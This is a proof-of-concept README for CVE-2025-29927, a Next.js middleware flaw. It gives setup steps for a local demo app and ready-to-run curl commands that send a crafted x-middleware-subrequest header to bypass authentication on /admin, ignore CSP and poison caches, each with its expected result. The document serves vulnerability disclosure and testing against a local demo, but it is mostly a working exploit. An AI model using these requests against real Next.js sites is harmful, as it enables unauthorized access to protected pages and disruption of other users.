
CVE-2025-29927 Proof of Concept
This PoC demonstrates CVE-2025-29927, a vulnerability in Next.js middleware that allows attackers to bypass authentication, authorization, and CSP mechanisms using the x-middleware-subrequest header.
Next.js versions 11.1.4 to 15.1.7
1️⃣ Clone & Install the PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
The app will start on http://localhost:3000
1- Use x-middleware-subrequest to gain unauthorized access:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Expected result: The response returns admin admin, even though authentication was bypassed.

If CSP is enforced via middleware, bypass it:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Expected result: The CSP is ignored, allowing malicious script execution.
Exploit cache poisoning by forcing a malformed response:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Expected result: The page is cached with incorrect content, disrupting normal users.
🔍 Discovered by: Allam Rachid (zhero;) & Allam Yasser (inzo_)